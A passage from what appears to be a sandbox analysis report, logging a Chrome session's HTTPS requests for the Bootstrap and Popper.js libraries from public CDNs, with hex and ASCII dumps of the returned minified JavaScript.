63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49747	104.18.10.207	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:34 UTC	660	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://groun-93ed.ehajdranrsuw.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:35 UTC	968	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 23:28:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 04/02/2024 02:05:57 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 22cf5ac4f976c163a9fbd474320d1daf CDN-Cache: HIT CF-Cache-Status: HIT Age: 30154 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8760313b8ac5b09f-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 23:28:35 UTC	401	IN	Data Raw: 37 62 65 39 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7be9/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 Data Ascii: d:function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.is
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 61 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 Data Ascii: ar e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._d
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 73 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 Data Ascii: s&&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._eleme
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 Data Ascii: :"mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-it
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 Data Ascii: val),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fi
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 Data Ascii: if(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 65 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 Data Ascii: ent(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).r
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 Data Ascii: D_DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="colla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49748	104.17.25.14	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:35 UTC	666	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://groun-93ed.ehajdranrsuw.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:35 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 23:28:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 713 Expires: Mon, 07 Apr 2025 23:28:35 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bn90HOnrTqGi0oKPCgFhk%2BcbcNs%2F8AlI8skaC67FWB916ZbHpaYLBixuthCyBlYx6XGJ%2FR62B9cjzNDJeSiyZld2OmcVdvl%2FSzd9PQUxX2RcInrSS%2BME3HPBZibJsulNR8FAo4EF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8760313c1e358bb6-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 23:28:35 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
